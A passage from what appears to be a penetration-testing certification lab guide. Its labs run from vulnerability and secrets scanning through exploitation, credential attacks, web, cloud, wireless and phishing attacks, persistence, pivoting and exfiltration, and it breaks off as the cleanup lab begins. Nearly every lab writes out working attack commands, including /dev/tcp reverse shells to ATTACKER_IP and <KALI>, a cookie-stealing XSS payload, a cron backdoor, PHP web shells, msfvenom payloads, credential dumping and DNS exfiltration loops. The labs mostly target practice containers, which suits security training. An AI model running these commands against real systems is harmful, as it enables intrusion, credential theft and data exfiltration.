https://raw.githubusercontent.com/anchore/grype/main/install.sh | sudo sh  
-s -- -b /usr/local/bin
```

124. Scan a public image with both tools

```
trivy image --severity HIGH,CRITICAL nginx:1.18.0; grype nginx:1.18.0
```

125. Save scan output as JSON

```
trivy image --format json --output nginx-trivy.json nginx:1.18.0; gype  
nginx:1.18.0 -o json > nginx-grype.json
```

126. Scan a Dockerfile and IaC config

```
trivy config Dockerfile.bad; trivy config ./k8s/
```

127. Run software composition analysis on the filesystem

```
trivy fs --scanners vuln,secret,license .
```

128. Start minikube and run kube-hunter

```
minikube start --driver=docker; pip install kube-hunter; kube-hunter --  
remote $(minikube ip)
```

129. Extract critical CVEs with jq

```
jq '.Results[].Vulnerabilities[]? | select(.Severity=="CRITICAL")  
| .VulnerabilityID' nginx-trivy.json
```

Test it

Confirm both scanners report CVEs, Trivy flags the bad Dockerfile, and kube-hunter probes the Kubernetes API.

Note: Full commands and screenshots are in labs/lab-17-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 18 — Secrets Scanning with TruffleHog

Exam objective: 2.2 Secrets enumeration (cloud keys, passwords, API keys, session tokens); 3.1 Secrets scanning..

Goal: The learner hunts secrets across Git history, filesystems, and Docker images with TruffleHog and Gitleaks, verifying live credentials.

What you'll build

Verified secret findings mapped to CWE-798 with rotation and remediation guidance. (Tools: TruffleHog, Gitleaks, jq, Docker, git.)

Step-by-step

130. Install TruffleHog and Gitleaks

```
sudo apt install -y trufflehog gitleaks
```

131. Scan a public Git repo for verified secrets

```
trufflehog git https://github.com/dxa4481/truffleHog.git --only-verified
```

132. Deep-scan every commit and branch of a repo

```
git clone https://github.com/owasp/wstg.git; trufflehog git file:///./wstg --no-update
```

133. Get a second opinion with Gitleaks in SARIF

```
gitleaks detect --source ./wstg --report-format sarif --report-path gitleaks.sarif
```

134. Scan a Docker image for baked-in secrets

```
trufflehog docker --image nginx:1.18.0 --only-verified
```

135. Scan a filesystem for secrets

```
sudo trufflehog filesystem /home --only-verified
```

136. Run a custom org-specific detector

```
trufflehog filesystem . --config custom.yaml
```

Test it

Confirm --only-verified confirms live secrets and each finding is tied to CWE-798 with a rotation recommendation.

Note: Full commands and screenshots are in labs/lab-18-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 19 — Validating Findings and Public Exploit Selection

Exam objective: 3.2 Analyze output from recon/scanning phases (FP/FN, true positives, scan completeness); 4.1 Capability selection — tool/exploit selection..

Goal: The learner confirms true positives, eliminates false positives, and selects a safe public exploit using searchsploit and EPSS/KEV.

What you'll build

A validation log of true and false positives plus a vetted, reviewed exploit choice. (Tools: searchsploit, Exploit-DB, Nmap, Metasploit, CISA KEV, EPSS.)

Step-by-step

137. Install exploitdb and update searchsploit

```
sudo apt install -y exploitdb; searchsploit --update
```

138. Query Exploit-DB offline

```
searchsploit vsftpd 2.3.4; searchsploit --cve 2017-0144
```

139. Inspect an exploit before running it

```
searchsploit -p 50704
```

140. Mirror the exploit locally and hash it

```
searchsploit -m 50704; sha256sum 50704.py
```

141. Confirm an Nmap finding with a safe probe

```
sudo nmap -p445 --script smb-vuln-ms17-010 <TARGET>
```

142. Verify with a non-destructive Metasploit aux module

```
msfconsole -q; use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS <TARGET>;  
run
```

143. Prioritise an exploit by KEV, EPSS, and maturity

144. Build a validation log for the report appendix

Test it

Confirm each finding is labelled TP or FP with a documented, non-destructive validation method.

Note: Full commands and screenshots are in labs/lab-19-*.md. Only run these techniques against systems you own or are authorised to test.

Topic 04 — Attacks and Exploits (35%)

Metasploit · Responder/SMB Relay · Hydra · Hashcat · Priv-Esc · SQLi/XSS · Cloud · Wireless · Social Eng

Key concepts

- The Metasploit Framework standardises exploitation: choose an exploit and a payload, set options, and gain a session; poisoning and relay (Responder, ntlmrelayx) capture and reuse credentials on the network.
- Password attacks split into online (Hydra, Medusa against live services) and offline (hashcat, John cracking captured hashes); privilege escalation on Linux (LinPEAS) and Windows (Kerberoasting) turns a foothold into full control.
- Web attacks exploit injection and logic flaws — SQL injection (sqlmap), XSS/CSRF/SSRF (Burp Suite), and file inclusion / directory traversal leading to web shells.

- The modern attack surface extends to cloud (S3/IAM with Pacu, ScoutSuite), wireless (WPA cracking with Aircrack-ng) and people (phishing with GoPhish and the Social-Engineer Toolkit).

Lab 20 — Exploitation with the Metasploit Framework

Exam objective: 4.1 Capability selection; 4.2 Network attacks with Metasploit; 4.10 Scripting and BAS..

Goal: The learner runs the msfconsole search-use-set-run workflow to exploit a vsftpd backdoor and land a root shell.

What you'll build

A root shell on Metasploitable2 via the vsftpd 2.3.4 backdoor, plus a reusable resource script. (Tools: Metasploit, msfconsole, msfvenom, meterpreter, msfdb, Docker.)

Step-by-step

145. Spin up the Metasploitable2 target

```
sudo docker run --rm -d --name msf2 -p 21:21 -p 4444:4444
tleemcjr/metasploitable2
```

146. Initialise the database and launch msfconsole

```
sudo msfdb init; msfconsole -q
```

147. Search for and select the vsftpd exploit

```
search vsftpd 2.3.4; use exploit/unix/ftp/vsftpd_234_backdoor
```

148. Review the module details, references and rank

```
info
```

149. Set the target host, port and payload

```
set RHOSTS 127.0.0.1; set RPORT 21; set PAYLOAD cmd/unix/interact
```

150. Run the exploit and confirm a root shell

```
run
```

151. Generate a matching meterpreter payload

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<your IP> LPORT=4444 -f
elf -o shell.elf
```

152. Automate the chained exploit with a resource script

```
msfconsole -q -r pwn.rc
```

Test it

Running `id` in the obtained shell returns `uid=0(root)`.

Note: Full commands and screenshots are in `labs/lab-20-*.md`. Only run these techniques against systems you own or are authorised to test.

Lab 21 — Bind and Reverse Shells with Netcat and Socat

Exam objective: 4.1 Establish bind and reverse shells; 4.2 Command execution and shell handling; 4.4 Upgrade to a fully interactive TTY..

Goal: The learner catches a reverse shell and sets up a bind shell with Netcat, transfers files over the channel, builds an encrypted shell with `ncat --ssl` and `socat`, then stabilises a dumb shell into a fully interactive TTY with job control.

What you'll build

A working reverse shell, a bind shell, an encrypted `socat/ncat` channel and a stabilised interactive TTY. (Tools: Netcat (`nc/ncat`), `socat`, Python, Kali.)

Step-by-step

153. Confirm netcat and install `ncat` and `socat`

```
which nc; sudo apt update && sudo apt install -y ncat socat
```

154. Start a Netcat listener on the attacker host

```
nc -lvnp 4444
```

155. Catch a reverse shell dialled back from the target

```
# on target:  bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

156. Set up a bind shell on the target and connect in

```
# target:  nc -lvnp 5555 -e /bin/bash      |      attacker:  nc TARGET_IP 5555
```

157. Transfer a file over the Netcat channel

```
# receiver:  nc -lvnp 6666 > loot.tar      |      sender:  nc ATTACKER_IP 6666
< loot.tar
```

158. Build an encrypted reverse shell with `ncat --ssl`

```
ncat --ssl -lvnp 4443      # target:  ncat --ssl ATTACKER_IP 4443 -e
/bin/bash
```

159. Create an encrypted `socat` shell with a full PTY

```
socat OPENSSL-LISTEN:4442,cert=server.pem,verify=0,fork - # target:
socat OPENSSL:ATTACKER_IP:4442,verify=0 EXEC:'/bin/bash',pty,stderr
```

160. Upgrade a dumb shell to a fully interactive TTY

```
python3 -c 'import pty; pty.spawn("/bin/bash")' # then Ctrl-Z; stty raw
-echo; fg; export TERM=xterm
```

Test it

Confirm both the reverse and bind shells return remote command execution, the ncat/socat channel is encrypted, and the TTY upgrade yields a full interactive shell with working job control.

Note: Full commands and screenshots are in labs/lab-21-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 22 — LLMNR/NBT-NS Poisoning and SMB Relay with Responder

Exam objective: 4.2 On-path attack, Relay attack, Responder; 4.3 Pass-the-hash..

Goal: The learner poisons LLMNR/NBT-NS broadcasts with Responder to capture NetNTLMv2 hashes, then relays them with ntlmrelayx.

What you'll build

Captured NetNTLMv2 hashes and a relayed SMB authentication yielding remote code execution. (Tools: Responder, impacket-ntlmrelayx, hashcat, crackmapexec.)

Step-by-step

161. Run Responder to poison LLMNR/NBT-NS and answer WPAD

```
sudo responder -I eth0 -wf
```

162. Crack the captured NetNTLMv2 hash offline

```
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
```

163. Disable Responder's SMB/HTTP listeners for relaying

```
sudo nano /usr/share/responder/Responder.conf
```

164. Enumerate SMB hosts that lack signing

```
sudo crackmapexec smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
```

165. Restart Responder in analyze/poison-only mode

```
sudo responder -I eth0 -A &
```

166. Relay the live authentication to a target

```
sudo impacket-ntlmrelayx -tf relay-targets.txt -smb2support -c "powershell  
-enc <base64>"
```

167. Recommend LLMNR/NBT-NS and SMB-signing mitigations

Test it

ntlmrelayx replays a victim's authentication to a non-signed host and executes the payload as an admin.

Note: Full commands and screenshots are in labs/lab-22-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 23 — Online Password Attacks with Hydra and Medusa

Exam objective: 4.3 Dictionary, brute-force, password spraying, credential stuffing..

Goal: The learner performs online brute-force, spraying, and credential-stuffing attacks against live SSH, FTP, and HTTP services.

What you'll build

Recovered service credentials (msfadmin:msfadmin) from live SSH, FTP and web-form logins. (Tools: Hydra, Medusa, cewl, crunch, Docker.)

Step-by-step

168. Start the multi-service Metasploitable2 target

```
sudo docker run --rm -d --name msf2 -p 21:21 -p 22:22 -p 80:80 -p 445:445  
tleemcjr/metasploitable2
```

169. Prepare a trimmed password wordlist

```
head -1000 /usr/share/wordlists/rockyou.txt > rockyou-1k.txt
```

170. Brute force SSH with Hydra

```
hydra -L users.txt -P rockyou-1k.txt -t 4 -f ssh://$TARGET
```

171. Brute force FTP with Medusa

```
medusa -h $TARGET -U users.txt -P rockyou-1k.txt -M ftp -t 5 -f
```

172. Spray a single password low-and-slow

```
hydra -L users.txt -p 'Spring2026!' ssh://$TARGET -t 1 -W 3
```

173. Attack a web login form

```
hydra -l admin -P rockyou-1k.txt $TARGET http-post-form  
"/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed"
```

174. Build a custom wordlist by spidering the site

```
cewl -d 2 -m 5 -w cewl.txt http://$TARGET
```

175. Run a credential-stuffing attack from a combo list

```
hydra -C combo.txt ssh://$TARGET
```

Test it

Hydra reports a valid msfadmin:msfadmin login for the SSH service.

Note: Full commands and screenshots are in labs/lab-23-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 24 — Offline Hash Cracking with hashcat and John

Exam objective: 4.3 Brute force, dictionary, mask, password spraying — offline tools hashcat and John the Ripper..

Goal: The learner identifies hash types then cracks them offline using hashcat attack modes and John the Ripper.

What you'll build

Cracked plaintext passwords for MD5, NTLM and archive hashes. (Tools: hashcat, John the Ripper, hashid, zip2john.)

Step-by-step

176. Identify the hash types in the sample bank

```
hashid -m hashes.txt
```

177. Run a straight dictionary attack with hashcat

```
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

178. Apply mangling rules to the wordlist

```
hashcat -m 0 -a 0 hashes.txt rockyou.txt -r  
/usr/share/hashcat/rules/best64.rule
```

179. Run a targeted mask brute-force attack

```
hashcat -m 1000 -a 3 ntlm.txt '?u?l?l?l?l?l?d?d'
```

180. Run a hybrid dictionary-plus-mask attack

```
hashcat -m 0 -a 6 hashes.txt rockyou.txt '?d?d?d?d'
```

181. Crack NTLM hashes with John the Ripper

```
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

182. Extract and crack a ZIP archive hash

```
zip2john /tmp/file.zip > zip.hash; john --wordlist=rockyou.txt zip.hash
```

183. Show the cracked passwords

```
john --show --format=NT hashes.txt
```

Test it

hashcat and John reveal the plaintext for the MD5 and NTLM hashes.

Note: Full commands and screenshots are in labs/lab-24-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 25 — Linux Privilege Escalation with LinPEAS

Exam objective: 4.4 Privilege escalation, credential dumping, misconfigured endpoints, LOLbins, shell escape..

Goal: The learner enumerates a low-privileged Linux shell with LinPEAS and escalates to root via a sudo misconfiguration and a SUID binary.

What you'll build

A root shell from a GTF0Bins sudo entry and a PATH-hijacked SUID binary. (Tools: LinPEAS, GTF0Bins, pspy, searchsploit.)

Step-by-step

184. Enumerate sudo rights and SUID binaries manually

```
sudo -l; find / -perm -4000 -type f 2>/dev/null
```

185. Download and run LinPEAS on the target

```
/tmp/linpeas.sh -a | tee linpeas.out
```

186. Escape to root via a sudo GTF0Bins entry

```
sudo find . -exec /bin/sh \; -quit
```

187. Inspect a suspicious SUID binary

```
strings /usr/local/bin/backup | head
```

188. Hijack PATH to exploit a relative-call SUID binary

```
echo -e '#!/bin/sh\n/bin/sh' > /tmp/tar; chmod +x /tmp/tar; export  
PATH=/tmp:$PATH
```

189. Search for a matching kernel exploit

```
searchsploit "Linux Kernel 4.4"
```

190. Dump credentials after escalation

```
sudo cat /etc/shadow > shadow.txt
```

191. Watch for root cron jobs with pspy

```
./pspy -pf -i 1000
```

Test it

Running id after the exploit returns uid=0(root).

Note: Full commands and screenshots are in labs/lab-25-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 26 — Windows Privilege Escalation and Kerberoasting

Exam objective: 4.3 Kerberos attacks, LDAP injection, pass-the-hash/ticket; 4.4 Privilege escalation, credential dumping, mimikatz, BloodHound..

Goal: The learner maps an Active Directory domain with BloodHound, Kerberoasts a service account, and moves laterally via pass-the-hash to a domain dump.

What you'll build

Cracked service-account credentials and a domain-wide NTDS dump obtained via DCSync. (Tools: BloodHound, impacket-GetUserSPNs, hashcat, crackmapexec, evil-winrm, impacket-secretsdump.)

Step-by-step

192. Collect AD data with BloodHound.py

```
bloodhound-python -u bob -p Spring2026 -d corp.local -ns 10.0.0.5 -c All
```

193. Request Kerberoastable SPN hashes

```
impacket-GetUserSPNs corp.local/bob:Spring2026 -dc-ip 10.0.0.5 -request  
-outputfile spns.hash
```

194. Crack the TGS hashes offline

```
hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt -r best64.rule
```

195. AS-REP roast pre-auth-disabled accounts

```
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.5  
-format hashcat -outputfile asrep.hash
```

196. Enumerate local privesc with WinPEAS

```
.\winpeas.exe quiet cmd
```

197. Validate cracked creds across the domain (PtH)

```
crackmapexec smb 10.0.0.0/24 -u svc_sql -p 'Summer2025' --shares
```

198. Get an interactive shell with evil-winrm

```
evil-winrm -i 10.0.0.20 -u svc_sql -p 'Summer2025'
```

199. DCSync every domain hash as Domain Admin

```
impacket-secretsdump corp.local/da:Pass@10.0.0.5 -just-dc -outputfile  
dc.dump
```

Test it

hashcat cracks a service-account hash and secretsdump exports every domain NTLM hash.

Note: Full commands and screenshots are in labs/lab-26-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 27 — SQL Injection with sqlmap

Exam objective: 4.5 Injection attacks — SQL injection..

Goal: The learner exploits SQL injection in DVWA manually then automates full database extraction with sqlmap.

What you'll build

A complete dump of the DVWA users table including the admin password hash. (Tools: sqlmap, DVWA, Burp Suite, Docker.)

Step-by-step

200. Launch the DVWA target

```
sudo docker run --rm -d --name dvwa -p 80:80 vulnerables/web-dvwa
```

201. Confirm injection with a manual UNION query

```
?id=1' UNION SELECT user,password FROM users-- -
```

202. Export the session cookie and target URL

```
COOKIE="PHPSESSID=abc; security=low"
```

203. Run sqlmap discovery against the endpoint

```
sqlmap -u "$URL" --cookie="$COOKIE" --batch
```

204. Enumerate databases, tables and columns

```
sqlmap -u "$URL" --cookie="$COOKIE" --batch -D dvwa -T users --columns
```

205. Dump the users table

```
sqlmap -u "$URL" --cookie="$COOKIE" --batch -D dvwa -T users --dump
```

206. Tune risk/level and bypass a simple WAF

```
sqlmap -u "$URL" --cookie="$COOKIE" --risk=3 --level=5 --batch
```

207. Feed a Burp-saved raw request to sqlmap

```
sqlmap -r request.txt --batch
```

Test it

sqlmap dumps the DVWA users table and reveals the admin MD5 hash.

Note: Full commands and screenshots are in labs/lab-27-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 28 — XSS, CSRF and SSRF with Burp Suite

Exam objective: 4.5 Web app attacks — XSS, CSRF, SSRF, JWT manipulation, session hijacking..

Goal: The learner uses Burp Suite to find stored XSS, forge a CSRF request, and trigger SSRF against OWASP Juice Shop.

What you'll build

Working XSS, CSRF and SSRF proof-of-concepts plus a cracked JWT secret. (Tools: Burp Suite, OWASP Juice Shop, XSSStrike, jwt_tool, hashcat.)

Step-by-step

208. Launch OWASP Juice Shop

```
sudo docker run --rm -d --name juice -p 3000:3000 bkimminich/juice-shop
```

209. Inject a stored XSS payload into the search bar

```
<iframe src="javascript:alert(`xss`)">
```

210. Steal cookies with a reflected XSS payload

```
<script>fetch('https://attacker/?c='+document.cookie)</script>
```

211. Fuzz DOM XSS contexts with XSSStrike

```
xsstrike -u 'http://127.0.0.1:3000/#/search?q=test'
```

212. Forge a state-changing CSRF proof-of-concept form

213. Trigger SSRF to the cloud metadata endpoint

```
http://localhost:3000/redirect?to=http://169.254.169.254/latest/meta-data/
```

214. Tamper the JWT with jwt_tool

```
jwt_tool eyJhbGciOiJIUzI1... -X k -k public.pem
```

215. Crack the JWT signature offline

```
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
```

Test it

The XSS alert fires, the SSRF returns metadata, and hashcat recovers the JWT signing secret.

Note: Full commands and screenshots are in labs/lab-28-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 29 — File Inclusion, Directory Traversal and Web Shells

Exam objective: 4.5 File inclusion (LFI/RFI), directory traversal, web shell; 5.1 Backdoor — web shell..

Goal: The learner exploits LFI and RFI in DVWA, escalates LFI to RCE via log poisoning, and drops a stealthy web shell.

What you'll build

An RCE web shell obtained through LFI log poisoning and RFI. (Tools: DVWA, curl, weeveily, Python http.server.)

Step-by-step

216. Launch the DVWA target

```
sudo docker run --rm -d --name dvwa -p 80:80 vulnerables/web-dvwa
```

217. Read arbitrary files via directory traversal

```
http://127.0.0.1/vulnerabilities/fi/?page=../../../../etc/passwd
```

218. Read PHP source with the php filter wrapper

```
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index
```

219. Poison the Apache access log with a PHP payload

```
curl -A '<?php system($_GET["c"]); ?>' http://127.0.0.1/
```

220. Include the poisoned log to gain RCE

```
http://127.0.0.1/vulnerabilities/fi/?page=/var/log/apache2/access.log&c=id
```

221. Host a remote shell for RFI

```
python3 -m http.server 8080
```

222. Trigger the remote file inclusion

```
http://target/page?file=http://<KALI>:8080/shell.php&c=id
```

223. Drop a stealthy weeveily web shell

```
weeveily generate Spring2026 /tmp/sh.php; weeveily http://target/sh.php  
Spring2026
```

Test it

Including the poisoned log executes `id` and returns the command output in the HTTP response.

Note: Full commands and screenshots are in `labs/lab-29-*.md`. Only run these techniques against systems you own or are authorised to test.

Lab 30 — Cloud Attacks: S3 and IAM with Pacu and ScoutSuite

Exam objective: 4.6 Cloud-based attacks — IAM misconfig, exposed storage, metadata service, supply chain, container escape; Pacu, ScoutSuite, Prowler, Cloud-Bench..

Goal: The learner audits a misconfigured AWS environment with ScoutSuite and Prowler, then exploits an IAM privilege-escalation chain with Pacu.

What you'll build

Backdoor AWS admin access obtained from an IAM privilege-escalation chain. (Tools: Pacu, ScoutSuite, Prowler, CloudGoat, s3scanner, AWS CLI.)

Step-by-step

224. Install the cloud pentest tooling

```
pip install --upgrade pacu scoutsuite prowler-cloud cloudgoat
```

225. Deploy a vulnerable CloudGoat scenario

```
./cloudgoat.py create iam_privesc_by_attachment
```

226. Recon misconfigurations with ScoutSuite

```
scout aws --profile cg-starter -r us-east-1 --report-dir scout-report
```

227. Run a CIS compliance scan with Prowler

```
prowler aws --compliance cis_2.0_aws -p cg-starter
```

228. Enumerate the user's IAM permissions in Pacu

```
run iam__enum_permissions
```

229. Find IAM privilege-escalation paths

```
run iam__privesc_scan
```

230. Backdoor the user's access keys

```
run iam__backdoor_users_keys --usernames cg-starter
```

231. Hunt for exposed S3 buckets

```
s3scanner scan -b acme-prod-logs
```

232. Destroy the CloudGoat scenario to stop costs

```
./cloudgoat.py destroy iam_privesc_by_attachment
```

Test it

Pacu reports an IAM privesc path and creates backdoor admin keys for cg-starter.

Note: Full commands and screenshots are in labs/lab-30-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 31 — Wireless Attacks: WPA Cracking with Aircrack-ng

Exam objective: 4.7 Wireless attacks — wardriving, evil twin, deauth, WPS PIN, captive portal; tools Aircrack-ng, Kismet, WiGLE, InSSIDer..

Goal: The learner captures a WPA2 four-way handshake using a deauth burst then cracks the passphrase offline.

What you'll build

A cracked WPA2 passphrase recovered from a captured handshake or PMKID. (Tools: Aircrack-ng, airodump-ng, aireplay-ng, hcxdump, hashcat, reaver.)

Step-by-step

233. Put the Wi-Fi adapter into monitor mode

```
sudo airmon-ng check kill; sudo airmon-ng start wlan0
```

234. Scan the air for nearby access points

```
sudo airodump-ng wlan0mon
```

235. Capture on the target BSSID and channel

```
sudo airodump-ng --bssid <BSSID> -c <CH> -w cap wlan0mon
```

236. Deauth a client to force a re-handshake

```
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT-MAC> wlan0mon
```

237. Crack the handshake with aircrack-ng

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> cap-01.cap
```

238. Convert and GPU-crack with hashcat

```
hcxpcapngtool -o handshake.hc22000 cap-01.cap; hashcat -m 22000  
handshake.hc22000 /usr/share/wordlists/rockyou.txt -r best64.rule
```

239. Capture a client-less PMKID

```
sudo hcxdump -i wlan0mon -w pmkid.pcapng --enable_status=1
```

240. Scan for and brute-force a WPS PIN

```
sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv
```

Test it

aircrack-ng or hashcat recovers the WPA2 passphrase from the capture file.

Note: Full commands and screenshots are in labs/lab-31-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 32 — Social Engineering with GoPhish and SET

Exam objective: 4.8 Social engineering — phishing, spearphishing, whaling, credential harvesting, watering hole; SET, GoPhish, Evilginx..

Goal: The learner runs a controlled GoPhish phishing campaign against a test mailbox and clones a login page with SET.

What you'll build

A phishing campaign with a cloned landing page and captured credential submissions. (Tools: GoPhish, SET (setoolkit), MailHog, Evilginx2.)

Step-by-step

241. Install and start the GoPhish server

```
sudo gophish
```

242. Run a MailHog catcher for the sending profile

```
sudo docker run --rm -d --name mh -p 1025:1025 -p 8025:8025 mailhog/mailhog
```

243. Clone a real login page as the landing page

244. Author a spear-phish email template with merge tags

245. Import target users from CSV and launch the campaign

246. Clone a login with the SET credential harvester

```
sudo setoolkit
```

247. Deploy Evilginx2 to capture MFA session cookies

```
sudo evilginx
```

248. Review the campaign click and submit metrics

Test it

The GoPhish dashboard shows Sent, Opened, Clicked and Submitted Data for the campaign.

Note: Full commands and screenshots are in labs/lab-32-*.md. Only run these techniques against systems you own or are authorised to test.

Topic 05 — Post-exploitation and Lateral Movement (14%)

Persistence · CrackMapExec & Impacket · Pivoting · Exfiltration · Cleanup & Preservation

Key concepts

- Persistence keeps access across reboots (cron, systemd services, web shells, scheduled tasks) and demonstrates the real risk of an initial compromise.

- Lateral movement reuses captured credentials and hashes (CrackMapExec, Impacket pass-the-hash) to move from one host to the next across a network.
- Pivoting and tunnelling (sshuttle, Chisel, Proxychains) reach otherwise-unreachable internal segments; exfiltration testing (DNS, ICMP, HTTPS) validates data-loss controls.
- Professional engagements end with cleanup: remove tooling and persistence, restore changed state, and preserve artifacts and evidence for the report.

Lab 33 — Establishing Persistence (cron, systemd, web shell)

Exam objective: Establish persistence with scheduled tasks, services, backdoors and C2.

Goal: The learner establishes and documents multiple persistence mechanisms on a compromised host — a cron job, a systemd service, an authorized SSH key, a PHP web shell and a generated payload.

What you'll build

A set of documented persistence artefacts (cron, systemd, SSH key, web shell, payload) on the compromised host (Tools: cron, systemd, OpenSSH, weeveily, msfvenom, netcat.)

Step-by-step

249. Install a cron-based reverse-shell backdoor

```
echo '* * * * * root bash -c "bash -i >& /dev/tcp/<KALI>/4444 0>&1"' | sudo tee /etc/cron.d/sysupdate
```

250. Catch the callback with a netcat listener

```
nc -lvnp 4444
```

251. Create a systemd service that reconnects on boot

```
sudo systemctl enable --now sys-helper.service
```

252. Add an attacker SSH key for key-based access

```
echo 'ssh-ed25519 AAAA... attacker@kali' >> /root/.ssh/authorized_keys
```

253. Drop a PHP web shell into the web root

```
sudo tee /var/www/html/.cache.php <<< '<?php if(isset($_REQUEST["c"])) system($_REQUEST["c"]); ?>'
```

254. Generate a stealthier web shell with weeveily

```
weeveily generate Spring2026 /tmp/sh.php
```

255. Generate a Windows meterpreter payload with msfvenom

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI> LPORT=4444 -f  
exe -o agent.exe -e x64/xor -i 5
```

256. Document every persistence artefact for cleanup

Test it

Confirm each persistence mechanism triggers a callback or shell, and that every artefact is recorded in your persistence inventory so it can be removed during cleanup.

Note: Full commands and screenshots are in labs/lab-33-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 34 — Lateral Movement with CrackMapExec and Impacket

Exam objective: Move laterally using captured credentials and hashes across SMB, WMI and WinRM.

Goal: The learner uses captured credentials to enumerate and execute commands across a Windows network, dumps further credentials, and moves laterally with pass-the-hash and pass-the-ticket.

What you'll build

Command execution and interactive shells on additional hosts reached with reused credentials and hashes (Tools: CrackMapExec, Impacket (psexec/wmiexec/atexec), evil-winrm, mimikatz.)

Step-by-step

257. Sweep the subnet for SMB hosts with CrackMapExec

```
crackmapexec smb 10.0.0.0/24
```

258. Spray a known credential and enumerate shares/users

```
crackmapexec smb <ip> -u svc_sql -p 'Summer2025' --shares --users
```

259. Execute a command over SMB

```
crackmapexec smb <ip> -u svc_sql -p 'Summer2025' -x 'whoami /all'
```

260. Get an interactive shell with Impacket PsExec

```
impacket-psexec corp.local/svc_sql:Summer2025@<ip>
```

261. Get a shell over WinRM with evil-winrm

```
evil-winrm -i <ip> -u svc_sql -p 'Summer2025'
```

262. Dump credentials from the new host with mimikatz

```
sekurlsa::logonpasswords
```

263. Reuse an NT hash with pass-the-hash

```
impacket-psexec -hashes :<NT-hash> corp.local/Administrator@<ip>
```

264. Reuse a Kerberos ticket with pass-the-ticket

```
export KRB5CCNAME=ticket.ccache; impacket-psexec -k -no-pass  
corp.local/svc_sql@target.corp.local
```

Test it

Verify you can execute commands and open shells on at least one additional host using reused credentials, hashes and tickets, and that each hop is logged in your engagement notes.

Note: Full commands and screenshots are in labs/lab-34-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 35 — Pivoting with sshuttle, Chisel and Proxychains

Exam objective: Pivot and tunnel into internal segments unreachable from the attacker host.

Goal: The learner turns a single compromised pivot host into a route to an internal network using SSH SOCKS, sshuttle, Chisel, port forwarding and Metasploit autoroute.

What you'll build

Working SOCKS and tunnelled routes from Kali into the internal 10.10.10.0/24 network (Tools: OpenSSH, sshuttle, Chisel, Proxychains, Metasploit.)

Step-by-step

265. Open an SSH dynamic SOCKS proxy through the pivot

```
ssh -D 1080 -N user@pivot &
```

266. Route tools through the proxy with Proxychains

```
proxychains4 nmap -sT -Pn -p 22,80,445 10.10.10.0/24
```

267. Build a transparent VPN over SSH with sshuttle

```
sudo sshuttle -r user@pivot 10.10.10.0/24 --dns
```

268. Start a Chisel reverse SOCKS tunnel when SSH is absent

```
chisel server -p 8443 --reverse &
```

269. Forward an internal RDP port over Chisel

```
./chisel client kali:8443 R:3389:10.10.10.5:3389
```

270. Add a Metasploit autoroute and port forward

```
run autoroute -s 10.10.10.0/24
```

271. Review how a defender detects the pivot

Test it

Confirm you can reach and interact with an internal host (e.g. 10.10.10.5) from Kali through at least two different tunnelling methods.

Note: Full commands and screenshots are in labs/lab-35-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 36 — Data Exfiltration over DNS, ICMP and HTTPS

Exam objective: Stage and exfiltrate data over covert channels to test data-loss controls.

Goal: The learner stages and encrypts collected data, then tests exfiltration over HTTPS, DNS and ICMP covert channels and reviews how each is detected.

What you'll build

Encrypted loot exfiltrated to a Kali receiver over HTTPS, DNS and ICMP channels (Tools: OpenSSL, tar, curl, iodine, ptunnel, scapy, tcpdump.)

Step-by-step

272. Stage and compress the collected data

```
tar czf /tmp/.stage.tgz -C /tmp/.stage .
```

273. Encrypt the archive with AES-256

```
openssl enc -aes-256-cbc -pbkdf2 -in /tmp/.stage.tgz -out /tmp/.stage.enc  
-k 'Spring2026!'
```

274. Exfiltrate over HTTPS to a Kali receiver

```
curl -k -X POST --data-binary @/tmp/.stage.enc https://<KALI>:8443/upload
```

275. Tunnel data over DNS with iodine

```
sudo iodine -P 'lab' tun.example.com
```

276. Exfiltrate chunks encoded in DNS queries

```
base64 /tmp/.stage.enc | fold -w63 | nl | while read i c; do dig "$i.  
$c.exfil.example.com" @<KALI> +short; done
```

277. Tunnel over ICMP with ptunnel

```
sudo ptunnel -p <KALI> -lp 2222 -da <KALI> -dp 22 -x lab
```

278. Capture ICMP exfil for reconstruction

```
sudo tcpdump -i eth0 -w icmp.pcap 'icmp'
```

279. Review detection and mitigation of covert channels

Test it

Verify the encrypted archive arrives intact over each channel (HTTPS, DNS, ICMP) and note which channels the monitoring controls did or did not detect.

Note: Full commands and screenshots are in labs/lab-36-*.md. Only run these techniques against systems you own or are authorised to test.

Lab 37 — Cleanup, Restoration and Artifact Preservation

Exam objective: Clean up, restore systems and preserve artifacts with chain of custody.

Goal: The learner inventories every change made during the engagement, removes persistence, credentials and tools, restores configuration, spins down infrastructure and preserves artifacts securely.

What you'll build

A cleaned-up target environment plus an encrypted, hashed artifact archive with a signed acceptance form (Tools: systemd, cron, AWS CLI, Docker, Terraform, gpg, sha256sum, shred.)

Step-by-step

280. Build a full inventory of engagement artefacts

